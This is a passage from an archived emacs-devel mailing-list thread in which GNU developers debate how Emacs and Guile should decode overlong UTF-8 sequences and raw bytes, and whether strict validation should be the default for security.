[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

      For
    >> example, the ASCII quote (") can be represented as the single byte 0x22,
    >> the two byte sequence 0xC0 0xA2, etc.

What does Emacs do now with a file that contains these "overlong"
sequences?


-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>       For
>     >> example, the ASCII quote (") can be represented as the single byte 0x22,
>     >> the two byte sequence 0xC0 0xA2, etc.
>
> What does Emacs do now with a file that contains these "overlong"
> sequences?

UTF-8 is defined as not containing "overlong" sequences, so Emacs
decodes them into two raw-byte indicating characters, one indicating
0xC0, one indicating 0xA2.  When encoding, it reassembles them into
0xC0 0xA2.

-- 
David Kastrup

Re: Emacs Lisp's future

[Andreas Schwab]

Richard Stallman <rms@gnu.org> writes:

>       For
>     >> example, the ASCII quote (") can be represented as the single byte 0x22,
>     >> the two byte sequence 0xC0 0xA2, etc.
>
> What does Emacs do now with a file that contains these "overlong"
> sequences?

It reads it with them as individual eight-bit chars, if you force it to
be decoded as utf-8.

Andreas.

-- 
Andreas Schwab, SUSE Labs, schwab@suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
> In the GNU Project, we do not "obey" standards.  Rather, we take them
> into account when judging what is best for the program to do.
>
> Emacs could conceivably report an error after decoding a file as UTF-8
> which turns out to have invalid text.  That way, the user will have
> the chance to decide whether to accept the decoding or not.

One problem with that is that quite often Emacs' choice of a coding
system for a buffer is the result of heuristics rather than dependable
information.  Not making a fuzz might often be simplest.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Tue, 07 Oct 2014 10:03:37 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: eliz@gnu.org, dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca
> 
> Emacs normally recognizes UTF-8 text and decodes it.  If some text
> isn't proper UTF-8, it may use raw bytes for that text.  But when does
> it do this for text that can be decoded as UTF-8?  I don't think
> that ever happens.

It could happen if the user instructed Emacs to decode the text as
something else, like Latin-1.  But then I think it's the user's
responsibility.

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> Richard Stallman <rms@gnu.org> writes:
>
>> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
>> [[[ whether defending the US Constitution against all enemies,     ]]]
>> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>>
>>       For
>>     >> example, the ASCII quote (") can be represented as the single byte 0x22,
>>     >> the two byte sequence 0xC0 0xA2, etc.
>>
>> What does Emacs do now with a file that contains these "overlong"
>> sequences?
>
> UTF-8 is defined as not containing "overlong" sequences, so Emacs
> decodes them into two raw-byte indicating characters, one indicating
> 0xC0, one indicating 0xA2.  When encoding, it reassembles them into
> 0xC0 0xA2.

When editing a file, this is probably the right default behavior,
although ideally it should warn the user.

However, if the overlong sequence came from the network, and Emacs
propagates it unchanged to internal subsystems[*] (e.g. via command-line
arguments to subprocesses), that's not good.  It exposes another program
to invalid input -- a program that might not be designed for exposure to
possible attacks via overlong encodings.

[*] By "internal subsystem" I mean any part of the overall system that's
not directly accessible to attacks.  This includes subprocesses or
daemons that are not accessible from the outside network.

      Mark

Re: Emacs Lisp's future

[Andreas Schwab]

David Kastrup <dak@gnu.org> writes:

> One problem with that is that quite often Emacs' choice of a coding
> system for a buffer is the result of heuristics rather than dependable
> information.  Not making a fuzz might often be simplest.

If you try to save a buffer Emacs will check whether all characters are
encodable, and complain (and ask) if they aren't.

Andreas.

-- 
Andreas Schwab, SUSE Labs, schwab@suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."

Re: Emacs Lisp's future

[Andreas Schwab]

Mark H Weaver <mhw@netris.org> writes:

> However, if the overlong sequence came from the network, and Emacs
> propagates it unchanged to internal subsystems[*] (e.g. via command-line
> arguments to subprocesses), that's not good.  It exposes another program
> to invalid input -- a program that might not be designed for exposure to
> possible attacks via overlong encodings.

At least it doesn't make it worse (it is unchanged from the situation if
you remove Emacs as a filter).

Andreas.

-- 
Andreas Schwab, SUSE Labs, schwab@suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."

Re: Emacs Lisp's future

[David Kastrup]

Andreas Schwab <schwab@suse.de> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> One problem with that is that quite often Emacs' choice of a coding
>> system for a buffer is the result of heuristics rather than dependable
>> information.  Not making a fuzz might often be simplest.
>
> If you try to save a buffer Emacs will check whether all characters are
> encodable, and complain (and ask) if they aren't.

Sure, but a raw byte is trivially encodable since it is no character.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

Andreas Schwab <schwab@suse.de> writes:

> Mark H Weaver <mhw@netris.org> writes:
>
>> However, if the overlong sequence came from the network, and Emacs
>> propagates it unchanged to internal subsystems[*] (e.g. via command-line
>> arguments to subprocesses), that's not good.  It exposes another program
>> to invalid input -- a program that might not be designed for exposure to
>> possible attacks via overlong encodings.
>
> At least it doesn't make it worse (it is unchanged from the situation if
> you remove Emacs as a filter).

And if Emacs is supposed to be used as a propagate-only-valid-utf-8
filter (which it definitely can do), that should be in the spec and
Emacs should then programmed to do the desired failure mode.

Just bombing out in some predetermined manner in some fixed location is
not a substitute for properly planned behavior.

If you want Emacs (or GUILE, or whatever) to take a particular action in
a particular case in order to provide output with particular guarantees
to particular processing stages, then "somebody thought it was a good
idea" in some inconvenient place is not a substitute.

Unless told differently, a tool like GUILE or Emacs, when used as a
filter, should do exactly _those_ filtering operations you tell it.  Not
more, not less.  Anything else is _guaranteed_ to get in the way
eventually.

-- 
David Kastrup

Re: Emacs Lisp's future

[Andreas Schwab]

David Kastrup <dak@gnu.org> writes:

> Andreas Schwab <schwab@suse.de> writes:
>
>> David Kastrup <dak@gnu.org> writes:
>>
>>> One problem with that is that quite often Emacs' choice of a coding
>>> system for a buffer is the result of heuristics rather than dependable
>>> information.  Not making a fuzz might often be simplest.
>>
>> If you try to save a buffer Emacs will check whether all characters are
>> encodable, and complain (and ask) if they aren't.
>
> Sure, but a raw byte is trivially encodable since it is no character.

This is a contradiction.  It isn't a character, so it isn't encodable.

Andreas.

-- 
Andreas Schwab, SUSE Labs, schwab@suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 >     To put it another way, Mark said that Guile is intended to be useful
 >     writing servers as well as interactive programs.
 > 
 > This discussion is about Guile in the context of Emacs specifically.
 > "What Guile does" generally is a different, though related, topic.
 > Guile could follow the Unicode spec in normal operation, but offer
 > another mode that Emacs can use.

It *could*, but it for the default is entirely unclear to me that it
*should*.  Some use cases, such as AUCTeX parsing error messages from
TeX (which treats content quoted from the document as bytes, and so
may slice characters into two invalid byte sequences), will use some
sort of reversible encoding of raw bytes (the current Emacs encoding
is one option, of course).  But they can do that explicitly.

However, in general I think that Emacs should help users who are naive
about Unicode to avoid emitting invalid Unicode, and so should default
to querying the user for permission if that were about to happen.  It
should not silently pass on corrupt input to the output.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Richard Stallman writes:
>
>  >     To put it another way, Mark said that Guile is intended to be useful
>  >     writing servers as well as interactive programs.
>  > 
>  > This discussion is about Guile in the context of Emacs specifically.
>  > "What Guile does" generally is a different, though related, topic.
>  > Guile could follow the Unicode spec in normal operation, but offer
>  > another mode that Emacs can use.
>
> It *could*, but it for the default is entirely unclear to me that it
> *should*.  Some use cases, such as AUCTeX parsing error messages from
> TeX (which treats content quoted from the document as bytes, and so
> may slice characters into two invalid byte sequences), will use some
> sort of reversible encoding of raw bytes (the current Emacs encoding
> is one option, of course).  But they can do that explicitly.
>
> However, in general I think that Emacs should help users who are naive
> about Unicode to avoid emitting invalid Unicode, and so should default
> to querying the user for permission if that were about to happen.  It
> should not silently pass on corrupt input to the output.

I repeat: that is to be the choice of the application rather than the
engine.  "We know better than the application writer what he wants" is
rarely going to work to the satisfaction of all.  This leads to "how do
I best work around the engine" approaches that tend to be much less
maintainable than explicit actions taking in a place intended by the
application.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

Andreas Schwab <schwab@suse.de> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Andreas Schwab <schwab@suse.de> writes:
>>
>>> David Kastrup <dak@gnu.org> writes:
>>>
>>>> One problem with that is that quite often Emacs' choice of a coding
>>>> system for a buffer is the result of heuristics rather than dependable
>>>> information.  Not making a fuzz might often be simplest.
>>>
>>> If you try to save a buffer Emacs will check whether all characters are
>>> encodable, and complain (and ask) if they aren't.
>>
>> Sure, but a raw byte is trivially encodable since it is no character.
>
> This is a contradiction.  It isn't a character, so it isn't encodable.

The character representation of "raw byte" is trivially encodable since
it represents a single byte in any encoding.

-- 
David Kastrup

Re: Emacs Lisp's future

[Andreas Schwab]

David Kastrup <dak@gnu.org> writes:

> Andreas Schwab <schwab@suse.de> writes:
>
>> David Kastrup <dak@gnu.org> writes:
>>
>>> Andreas Schwab <schwab@suse.de> writes:
>>>
>>>> David Kastrup <dak@gnu.org> writes:
>>>>
>>>>> One problem with that is that quite often Emacs' choice of a coding
>>>>> system for a buffer is the result of heuristics rather than dependable
>>>>> information.  Not making a fuzz might often be simplest.
>>>>
>>>> If you try to save a buffer Emacs will check whether all characters are
>>>> encodable, and complain (and ask) if they aren't.
>>>
>>> Sure, but a raw byte is trivially encodable since it is no character.
>>
>> This is a contradiction.  It isn't a character, so it isn't encodable.
>
> The character representation of "raw byte" is trivially encodable since
> it represents a single byte in any encoding.

No encoding (except raw-text) can encode characters from the eight-bit
charset.

Andreas.

-- 
Andreas Schwab, SUSE Labs, schwab@suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Richard Stallman writes:
>
>  >     To put it another way, Mark said that Guile is intended to be useful
>  >     writing servers as well as interactive programs.
>  > 
>  > This discussion is about Guile in the context of Emacs specifically.
>  > "What Guile does" generally is a different, though related, topic.
>  > Guile could follow the Unicode spec in normal operation, but offer
>  > another mode that Emacs can use.
>
> It *could*, but it for the default is entirely unclear to me that it
> *should*.  Some use cases, such as AUCTeX parsing error messages from
> TeX (which treats content quoted from the document as bytes, and so
> may slice characters into two invalid byte sequences), will use some
> sort of reversible encoding of raw bytes (the current Emacs encoding
> is one option, of course).  But they can do that explicitly.

Not really.  The terminal/log output will in general reflect the
encoding of the source document and it is human-readable, so you want
the output filter to generally decode as utf-8.  Now TeX may indeed
choose to slice multibyte characters in two (for example, because it
inserts newlines in its output every 79 bytes).  Parsing the error
messages properly requires the ability to reconstruct the input before
the output filter decoded it.  Neither having the output filter pass
everything as bytes (that will make the output generally unfit for human
consumption rather than just in single places) nor "sanitizing" it (that
will make reconstruction of the original context impossible) are
satisfactory here.

The "I know you don't want me to produce anything other than utf-8
anyway" attitude is just getting in the way of such application needs.
Sometimes things are messy, and it must remain the application's choice
how it wants the mess to be dealt with.

> However, in general I think that Emacs should help users who are naive
> about Unicode to avoid emitting invalid Unicode, and so should default
> to querying the user for permission if that were about to happen.  It
> should not silently pass on corrupt input to the output.

You are confusing Emacs with the applications running on it.  It is not
the job of an engine to make the decisions for an application.  In
general, an engine should deal with the problems you tell it to deal
with.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

Andreas Schwab <schwab@suse.de> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Andreas Schwab <schwab@suse.de> writes:
>>
>>> David Kastrup <dak@gnu.org> writes:
>>>
>>>> Andreas Schwab <schwab@suse.de> writes:
>>>>
>>>>> David Kastrup <dak@gnu.org> writes:
>>>>>
>>>>>> One problem with that is that quite often Emacs' choice of a coding
>>>>>> system for a buffer is the result of heuristics rather than dependable
>>>>>> information.  Not making a fuzz might often be simplest.
>>>>>
>>>>> If you try to save a buffer Emacs will check whether all characters are
>>>>> encodable, and complain (and ask) if they aren't.
>>>>
>>>> Sure, but a raw byte is trivially encodable since it is no character.
>>>
>>> This is a contradiction.  It isn't a character, so it isn't encodable.
>>
>> The character representation of "raw byte" is trivially encodable since
>> it represents a single byte in any encoding.
>
> No encoding (except raw-text) can encode characters from the eight-bit
> charset.

(encode-coding-string (string (decode-char 'eight-bit 128)) 'utf-8)
=> "\200"

-- 
David Kastrup

Re: Emacs Lisp's future

[Andreas Schwab]

David Kastrup <dak@gnu.org> writes:

> Andreas Schwab <schwab@suse.de> writes:
>
>> David Kastrup <dak@gnu.org> writes:
>>
>>> Andreas Schwab <schwab@suse.de> writes:
>>>
>>>> David Kastrup <dak@gnu.org> writes:
>>>>
>>>>> Andreas Schwab <schwab@suse.de> writes:
>>>>>
>>>>>> David Kastrup <dak@gnu.org> writes:
>>>>>>
>>>>>>> One problem with that is that quite often Emacs' choice of a coding
>>>>>>> system for a buffer is the result of heuristics rather than dependable
>>>>>>> information.  Not making a fuzz might often be simplest.
>>>>>>
>>>>>> If you try to save a buffer Emacs will check whether all characters are
>>>>>> encodable, and complain (and ask) if they aren't.
>>>>>
>>>>> Sure, but a raw byte is trivially encodable since it is no character.
>>>>
>>>> This is a contradiction.  It isn't a character, so it isn't encodable.
>>>
>>> The character representation of "raw byte" is trivially encodable since
>>> it represents a single byte in any encoding.
>>
>> No encoding (except raw-text) can encode characters from the eight-bit
>> charset.
>
> (encode-coding-string (string (decode-char 'eight-bit 128)) 'utf-8)
> => "\200"

That's what you get if you *force* the coding system.  But Emacs will
still complain and ask if you try to save such a buffer.

Andreas.

-- 
Andreas Schwab, SUSE Labs, schwab@suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."

Re: Emacs Lisp's future

[Mark H Weaver]

Andreas Schwab <schwab@suse.de> writes:

> Mark H Weaver <mhw@netris.org> writes:
>
>> However, if the overlong sequence came from the network, and Emacs
>> propagates it unchanged to internal subsystems[*] (e.g. via command-line
>> arguments to subprocesses), that's not good.  It exposes another program
>> to invalid input -- a program that might not be designed for exposure to
>> possible attacks via overlong encodings.
>
> At least it doesn't make it worse (it is unchanged from the situation if
> you remove Emacs as a filter).

In the case of mere "filtering", you might be right in some cases.

However, the case I'm worried about is where some small piece of the
hostile input is extracted and passed as an argument to another program.
In cases like this it doesn't make sense to think of emacs as a
"filter", and you'd never be able to "remove" it.

It's like saying that a web application that passes unsanitized input to
an SQL query "doesn't make it worse", and that the situation is
unchanged from if you provided public access to the SQL database.

      Mark
     

Re: Emacs Lisp's future

[David Kastrup]

Andreas Schwab <schwab@suse.de> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Andreas Schwab <schwab@suse.de> writes:
>>
>>> David Kastrup <dak@gnu.org> writes:
>>>
>>>> Andreas Schwab <schwab@suse.de> writes:
>>>>
>>>>> David Kastrup <dak@gnu.org> writes:
>>>>>
>>>>>> Andreas Schwab <schwab@suse.de> writes:
>>>>>>
>>>>>>> David Kastrup <dak@gnu.org> writes:
>>>>>>>
>>>>>>>> One problem with that is that quite often Emacs' choice of a coding
>>>>>>>> system for a buffer is the result of heuristics rather than dependable
>>>>>>>> information.  Not making a fuzz might often be simplest.
>>>>>>>
>>>>>>> If you try to save a buffer Emacs will check whether all characters are
>>>>>>> encodable, and complain (and ask) if they aren't.
>>>>>>
>>>>>> Sure, but a raw byte is trivially encodable since it is no character.
>>>>>
>>>>> This is a contradiction.  It isn't a character, so it isn't encodable.
>>>>
>>>> The character representation of "raw byte" is trivially encodable since
>>>> it represents a single byte in any encoding.
>>>
>>> No encoding (except raw-text) can encode characters from the eight-bit
>>> charset.
>>
>> (encode-coding-string (string (decode-char 'eight-bit 128)) 'utf-8)
>> => "\200"
>
> That's what you get if you *force* the coding system.

It would appear that you are forcing your logic.  "No encoding can ..."
does not mean that.

> But Emacs will still complain and ask if you try to save such a
> buffer.

(let ((coding-system-for-write 'utf-8-unix))
  (with-temp-file "/tmp/bozo"
    (insert(encode-coding-string (string (decode-char 'eight-bit 128)) 'utf-8))))

od /tmp/bozo
0000000 000200
0000001

What you mean is that Emacs is asked to _select_ or to _verify_ a coding
system (as is customary for interactive editing of a file) it will do so
and get back to the user when necessary.

But that is _quite_ different from Emacs being _incapable_ of encoding
raw bytes to a file or a stream of a specified encoding.  It means that
when you are using an _application_ that is expected to deliver only
decodable characters, then the _application_ will _ask_ before going
ahead.

But the _engine_ is perfectly capable of going through here.  Once you
confuse engine and application and state "Emacs should not be able to
encode characters from the eight-bit set" rather than "the normal file
saving operation defaulting to using buffer-file-coding-system for
coding-system-for-write after verifying its suitability should ask
before picking a value of coding-system-for-write that cause a file to
be written that is not representable without raw bytes" you are
proposing to cripple Emacs.

Or GUILE.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Mark H Weaver <mhw@netris.org>
> Cc: Richard Stallman <rms@gnu.org>,  Eli Zaretskii <eliz@gnu.org>,  dmantipov@yandex.ru,  emacs-devel@gnu.org,  handa@gnu.org,  monnier@iro.umontreal.ca,  stephen@xemacs.org
> Date: Tue, 07 Oct 2014 11:15:05 -0400
> 
> > UTF-8 is defined as not containing "overlong" sequences, so Emacs
> > decodes them into two raw-byte indicating characters, one indicating
> > 0xC0, one indicating 0xA2.  When encoding, it reassembles them into
> > 0xC0 0xA2.
> 
> When editing a file, this is probably the right default behavior,
> although ideally it should warn the user.

It does, when the user modifies the file and then saves it.

Re: Emacs Lisp's future

[Andreas Schwab]

David Kastrup <dak@gnu.org> writes:

> Andreas Schwab <schwab@suse.de> writes:
>
>> David Kastrup <dak@gnu.org> writes:
>>
>>> Andreas Schwab <schwab@suse.de> writes:
>>>
>>>> David Kastrup <dak@gnu.org> writes:
>>>>
>>>>> Andreas Schwab <schwab@suse.de> writes:
>>>>>
>>>>>> David Kastrup <dak@gnu.org> writes:
>>>>>>
>>>>>>> Andreas Schwab <schwab@suse.de> writes:
>>>>>>>
>>>>>>>> David Kastrup <dak@gnu.org> writes:
>>>>>>>>
>>>>>>>>> One problem with that is that quite often Emacs' choice of a coding
>>>>>>>>> system for a buffer is the result of heuristics rather than dependable
>>>>>>>>> information.  Not making a fuzz might often be simplest.
>>>>>>>>
>>>>>>>> If you try to save a buffer Emacs will check whether all characters are
>>>>>>>> encodable, and complain (and ask) if they aren't.
>>>>>>>
>>>>>>> Sure, but a raw byte is trivially encodable since it is no character.
>>>>>>
>>>>>> This is a contradiction.  It isn't a character, so it isn't encodable.
>>>>>
>>>>> The character representation of "raw byte" is trivially encodable since
>>>>> it represents a single byte in any encoding.
>>>>
>>>> No encoding (except raw-text) can encode characters from the eight-bit
>>>> charset.
>>>
>>> (encode-coding-string (string (decode-char 'eight-bit 128)) 'utf-8)
>>> => "\200"
>>
>> That's what you get if you *force* the coding system.
>
> It would appear that you are forcing your logic.  "No encoding can ..."
> does not mean that.

That's what Emacs told me, with the heuristics you are talking about.

Andreas.

-- 
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> Andreas Schwab <schwab@suse.de> writes:
>
>> Mark H Weaver <mhw@netris.org> writes:
>>
>>> However, if the overlong sequence came from the network, and Emacs
>>> propagates it unchanged to internal subsystems[*] (e.g. via command-line
>>> arguments to subprocesses), that's not good.  It exposes another program
>>> to invalid input -- a program that might not be designed for exposure to
>>> possible attacks via overlong encodings.
>>
>> At least it doesn't make it worse (it is unchanged from the situation if
>> you remove Emacs as a filter).
>
> In the case of mere "filtering", you might be right in some cases.
>
> However, the case I'm worried about is where some small piece of the
> hostile input is extracted and passed as an argument to another program.
> In cases like this it doesn't make sense to think of emacs as a
> "filter", and you'd never be able to "remove" it.
>
> It's like saying that a web application that passes unsanitized input to
> an SQL query "doesn't make it worse", and that the situation is
> unchanged from if you provided public access to the SQL database.

If GUILE or Emacs is supposed to sanitize input, you tell it to sanitize
input.  That's different from GUILE/Emacs deciding over your head what
is good for your application.

Again, confusing the responsibilities and capabilities of an engine from
those of an application is sure to lead to mismatches between
requirements and capabilities.  An engine has to work.  Not just given
certain circumstances, but always.  Anything else is a recipe for
trouble.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > I repeat: that is to be the choice of the application rather than
 > the engine.

Which is what *I* said.

But the engine *should* have a default for convenience of at least
some use cases.  What Mark (AFAICS) and I want is to default to not
emitting broken Unicode.  If the application chooses to do so, it
should do so explicitly.

 > "We know better than the application writer what he wants" is
 > rarely going to work to the satisfaction of all.

Again, I've said that in this thread already.

Finally, note that there's nothing nonconformant about rawbytes in the
internal representation per se.  The Unicode standard is for
*interchange* and says nothing about Emacs buffers.  If TeX is
produces invalid UTF-8 and AUCTeX accepts that and converts invalid
UTF-8 to rawbytes, that's not a problem -- everybody knows what is
going on -- and conformance is a non-issue, since it's all internal.
(I don't claim Mark agrees with this paragraph.  And he probably
doesn't for the applications he envisions, because they are modular
(where Emacs is monolithic), and therefore strings in internal
representation are passed across module boundaries.)

But Emacs should not save that buffer to a file or send its contents
to a network stream, without either explicit permission from the user,
or explicit configuration of the output stream by the application.

Autosaves are another thorny problem.  I suppose they will be handled
by declaring them conformant only to Emacs' needs.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > Just bombing out in some predetermined manner in some fixed location is
 > not a substitute for properly planned behavior.

Nobody proposed that, so please stop arguing against it.

 > Unless told differently, a tool like GUILE or Emacs, when used as a
 > filter, should do exactly _those_ filtering operations you tell it.

Right.  All Mark and I want is to default safely.  Ie, if you invoke an
encoding named "utf-8", you get strictly conformant output.

When Emacs is being used as a filter, you just have to use the
'utf-8-with-rawbytes coding system, and when Emacs is being used for
what is presumably valid text, you use the 'utf-8 coding system.  IOW,
it's use of the *-with-rawbytes coding systems that turns Emacs into a
filter.

I think that is way preferable to the alternative where 'utf-8 gives
rawbytes, and you have to use 'utf-8-strict to get validation.

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> Mark H Weaver <mhw@netris.org> writes:
>
>> Andreas Schwab <schwab@suse.de> writes:
>>
>>> Mark H Weaver <mhw@netris.org> writes:
>>>
>>>> However, if the overlong sequence came from the network, and Emacs
>>>> propagates it unchanged to internal subsystems[*] (e.g. via command-line
>>>> arguments to subprocesses), that's not good.  It exposes another program
>>>> to invalid input -- a program that might not be designed for exposure to
>>>> possible attacks via overlong encodings.
>>>
>>> At least it doesn't make it worse (it is unchanged from the situation if
>>> you remove Emacs as a filter).
>>
>> In the case of mere "filtering", you might be right in some cases.
>>
>> However, the case I'm worried about is where some small piece of the
>> hostile input is extracted and passed as an argument to another program.
>> In cases like this it doesn't make sense to think of emacs as a
>> "filter", and you'd never be able to "remove" it.
>>
>> It's like saying that a web application that passes unsanitized input to
>> an SQL query "doesn't make it worse", and that the situation is
>> unchanged from if you provided public access to the SQL database.
>
> If GUILE or Emacs is supposed to sanitize input, you tell it to sanitize
> input.  That's different from GUILE/Emacs deciding over your head what
> is good for your application.

I've already said more than once that I agree Guile and Emacs should
provide the *option* to handle invalid byte sequences transparently, if
explicitly requested to do so, and furthermore that this is appropriate
default behavior when editing files.

What I'm saying is that in most other cases, the codecs should be
strict, and therefore this should be the default behavior of the
underlying functions.  When users call an Emacs function to decode
UTF-8, it should report an error if that input isn't actually UTF-8.
Conversely, when encoding UTF-8, the output should be UTF-8 and not some
arbitrary byte sequence.

Relying on users to explicitly sanitize the result of decoding UTF-8 to
check for "raw bytes", and to explicitly check for "raw bytes" before
encoding UTF-8 (as if that term didn't already have a well-known meaning
that excludes arbitrary byte sequences) is a recipe for security holes.

       Mark

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>
>  > Just bombing out in some predetermined manner in some fixed location is
>  > not a substitute for properly planned behavior.
>
> Nobody proposed that, so please stop arguing against it.
>
>  > Unless told differently, a tool like GUILE or Emacs, when used as a
>  > filter, should do exactly _those_ filtering operations you tell it.
>
> Right.  All Mark and I want is to default safely.  Ie, if you invoke an
> encoding named "utf-8", you get strictly conformant output.
>
> When Emacs is being used as a filter, you just have to use the
> 'utf-8-with-rawbytes coding system, and when Emacs is being used for
> what is presumably valid text, you use the 'utf-8 coding system.  IOW,
> it's use of the *-with-rawbytes coding systems that turns Emacs into a
> filter.
>
> I think that is way preferable to the alternative where 'utf-8 gives
> rawbytes, and you have to use 'utf-8-strict to get validation.

Emacs' current behavior where the low-level operations _obey_ _without_
_asking_ is quite preferable.  Again, you want to have the engine's
responsibilities confused with the application's responsibilities.  And
that means that you generally have to work around the engine for getting
basic work done.  And figure out just where in the operating layers you
have to apply overrides in order to get "don't mess with this"
semantics.

Since verification is best applied at a single place in an application,
being denied control over that place whenever you don't have _every_
_single_ _layer_ under your own control is a nuisance.

I am glad that Emacs does not get in my hair as an application
programmer like that, and it would be doubly appropriate for GUILE not
to do that.  GUILE is supposed to be an extension language and system.
As such, it should not try governing how an application is organizing
its verification processes.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> Relying on users to explicitly sanitize the result of decoding UTF-8
> to check for "raw bytes", and to explicitly check for "raw bytes"
> before encoding UTF-8 (as if that term didn't already have a
> well-known meaning that excludes arbitrary byte sequences) is a recipe
> for security holes.

You are calling "application programmers" here "users" and call them
incapable of designing their application.  Any application in need of
sanitizing will not stop in its requirements at UTF-8 sanitization.

You cannot successfully cater for clueless application programmers.  And
nobody says that GUILE should _crash_ when provided non-sanitized UTF-8.
It has to be able to deal with everything thrown at it.  And you want it
to _not_ do that by default.  That means that _any_ programmer wanting
to do his own verification will not be able to use _any_ module provided
by someone else which does not explicitly override the defaults, since
then modules he has no control over will refuse cooperating.

GUILE is an extension language and system.  It should _not_ do policing.
Every attempt at policing makes it impossible to design the policing
into the place where it makes sense.

Worse, it leads to sloppy code since then people start to consider an
internal UTF-8 based encoding to be identical to an external UTF-8
encoding, making it _impossible_ to design byte-transparent workflows.

That is the current state of GUILE 2, and as an application programmer
I can testify that it is a huge headache.  Both in practice as well as
conceptually.

I am glad that Emacs started its history with a multibyte encoding
incompatible with any external encoding since that has given it lots of
impetus to get that distinction right.

With the "we don't want to cater for raw bytes by default" attitude
you'll never get away in a reasonably reliable manner from the "our code
will not deal with raw bytes" situation you have now with regard to
string manipulation.

It took Emacs years to get this into a really reliable and good state,
with many more active users of multibyte character sets than GUILE has.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > With the "we don't want to cater for raw bytes by default" attitude
 > you'll never get away in a reasonably reliable manner from the "our code
 > will not deal with raw bytes" situation you have now with regard to
 > string manipulation.

If Emacs and Emacs Lisp developers never can make it work, I think
that says more about Emacs than about the concept of standards-based
program design.  I'm sure the Guile community will succeed as Python
did.

It took Python about 3 months to implement PEP 383, another 6 to
actually publicly release a Python using it, and no, Python has never
defaulted to anything but strict error handling ("crash and traceback
on invalid input") since.

Nobody complains, because in practice strict is almost good enough for
interactive programs (ask the user to clean up the input and resubmit),
and the few who do need rawbytes are perfectly happy writing

  stream = open(filename, 'r', encoding='utf-8', errors='surrogateescape')

when it's needed.

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:
> You cannot successfully cater for clueless application programmers.

It is not "clueless" to expect a UTF-8 encoder to produce valid UTF-8.

     Mark

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    UTF-8 is defined as not containing "overlong" sequences, so Emacs
    decodes them into two raw-byte indicating characters, one indicating
    0xC0, one indicating 0xA2.  When encoding, it reassembles them into
    0xC0 0xA2.

In that case, it might be reasonable to ask the user whether to accept
a UTF-8 file decoding that contains any raw-byte characters.

What do people think of this?

    One problem with that is that quite often Emacs' choice of a coding
    system for a buffer is the result of heuristics rather than dependable
    information.  Not making a fuzz might often be simplest.

Could you explain what "fuzz" means here?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
